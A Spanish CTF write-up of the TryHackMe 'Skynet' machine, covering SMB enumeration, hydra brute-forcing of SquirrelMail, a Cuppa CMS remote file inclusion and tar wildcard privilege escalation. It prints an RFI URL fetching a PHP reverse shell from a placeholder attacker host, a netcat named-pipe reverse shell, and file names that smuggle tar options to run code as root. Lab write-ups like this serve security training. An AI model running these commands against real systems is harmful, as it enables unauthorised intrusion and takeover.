XUT_ / MACHINES / THM

0018

Skynet

THMMACHINENONEEASY

Introduction

skynet

Una máquina CTF basada en Terminator.

skynet

[!QUOTE] Hasta la vista, baby

¿Eres capaz de comprometer está máquina basada en Terminator?

skynet

Getting the Flags

Reconocimiento Inicial

Comenzaremos haciendo un escaneo de puertos abiertos.

skynet

Ahora analizaremos los puertos abiertos más en profundidad.

skynet

Con esto ya vemos que es muy probable que haya que hacer algo con SMB.

Vamos a seguir con el reconocimiento. Vamos a listar directorios web de momento.

skynet skynet skynet skynet skynet skynet skynet

Vamos a ver qué hay en la web.

skynet

Aparentemente es un buscador.

skynet

Está aparentemente muerto.

Si entramos en alguno de los directorios listados por dirsearch podemos ver lo siguiente:

skynet

Si le damos a ir a la página de login:

skynet

Vamos a mirar más directorios.

skynet

Podría ser interesante.

skynet

Hemos encontrado un ID, puede que nos sirva más adelante.

skynet

Ahora sabemos que el plugin info para SquirrelMail no valida la entrada pasada al servidor IMAP.

Visto todo lo que hay en la web vamos ahora a intentar listar el servicio SMB.

skynet


Profundización

Vamos a ver qué hay dentro de SMB.

skynet

Por aquí el de anonymous.

Vamos a ver qué contienen estos archivos.

skynet

Vamos a ver el contenido.

  • attention.txt: skynet
  • log1.txt: skynet Parecen contraseñas.
  • log2.txt y log3.txt: skynet

Explotación

Con la lista de contraseñas que hemos sacado vamos a lanzar un ataque contra SSH al usuario milesdyson.

skynet

Esto significa que lo más probable es que sean contraseñas de SquirrelMail. Abriremos BurpSuite para interceptar un intento de login y ver cómo funciona.

skynet

Vamos a usar hydra para bruteforcear el formulario. Vamos a ver primero el resultado de un login fallido.

skynet

Usaremos el "Unkown user or password incorrect." para filtrar negativamente en hydra.

skynet

Aquí tenemos la contraseña.

Al iniciar sesión obtenemos:

skynet

Hay varios correos, vamos a revisar su contenido.

skynet

Ese es el de abajo.

skynet

Este el del medio. Si lo traducimos:

skynet

Lo "mismo" de antes.

Y por último, el de arriba.

skynet

Este parece ser el más interesante, los otros dos son como un acertijo que todavía no comprendo.

Vamos a entrar en el SMB de milesdyson.

skynet

Parece que hay un archivo importante, así que vamos a leerlo.

skynet

Acabamos de encontrar el directorio escondido.

skynet

Vamos a ver qué directorios encontramos por aquí.

skynet

Vamos a ver qué hay en ese directorio.

skynet

Parece ser un login.

Si miramos el código fuente vemos que hay un formulario por si se olvida la contraseña:

skynet

Vamos a eliminar el comentario. Para ello:

  1. Interceptamos una petición en Burp. skynet
  2. Le damos a Do intercept -> response to this request: skynet
  3. Le damos a forward y al recibir la respuesta eliminamos el comentario. skynet
  4. Le volvemos a dar a forward y miramos la página web. skynet

Ahora aparece algo que antes no estaba.

Vamos a darle click ahí.

skynet

Sacamos el email de milesdyson de un correo de antes:

skynet

Lo introducimos y vamos a la bandeja de entrada.

No sale nada, por lo que es un punto muerto. Sin embargo, recordamos que nos han hecho una pregunta en el reto sobre LFI, ¿irá por ahí? No creo, ¿no?...

Vamos a mirar en Exploit-DB.

skynet

Pues parece que sí que iba por aquí.

El exploit cuenta que se puede provocar una LFI tanto como RFI debido a un bug en la línea 22 del código, el cual permite ejecutar PHP.

php
<?php include($_REQUEST["urlConfig"]); ?>

Vamos a configurar una reverse shell de PHP y un listener.

skynet

Ahora servimos el archivo:

skynet

Introducimos la URL:

http
http://skynet.thm/[REDACTED]/administrator/alerts/alertConfigField.php?urlConfig=http://IP_ATACANTE:5555/cuppa.php

[!IMPORTANT] El [REDACTED] quiere decir que es secreto, es una de las preguntas, ahí debe ir el directorio que has encontrado en la nota important.txt.

Y de esa manera obtenemos la shell, que procedemos a estabilizar.

skynet

Vamos a buscar la flag de usuario.


Escalada de Privilegios

Para la escalada de privilegios vamos a comenzar por la técnica más sencilla.

skynet

Después de probar varias técnicas llegamos a la crontab:

skynet

El usuario root ejecuta /home/milesdyson/backups/backup.sh cada minuto. Vamos a ver de qué se trata.

skynet

Parece que no podemos editar ni uno ni otro, pero backup.sh parece que se mueve hasta /var/www/html y crea un backup con tar de todo lo que haya en el directorio. El problema recae en la wildcard (*). Eso hace que sea vulnerable porque si hay archivos con nombres especiales (entiéndase especiales como nombres similares o iguales que opciones de tar, este los usará como si fueran opciones en lugar de archivos). Esta técnica se conoce como wildcard injection, en este caso contra tar.

La forma más común de ejecutar este exploit es llamando a dos archivos así:

bash
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.128.67 4444 >/tmp/f" > shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

Abrimos un listener antes de escribirlo.

skynet

Pegamos los comandos:

skynet

Y si volvemos a la consola del listener y esperamos:

skynet

Vamos a leer la flag de root.


Conclusión

Una máquina jugosita, con muchos temas a tratar y muy divertida. Hemos visto:

  • Enumeración
  • SMB
  • Web
  • Reverse shells
  • Escalada de privilegios

¡Muy top!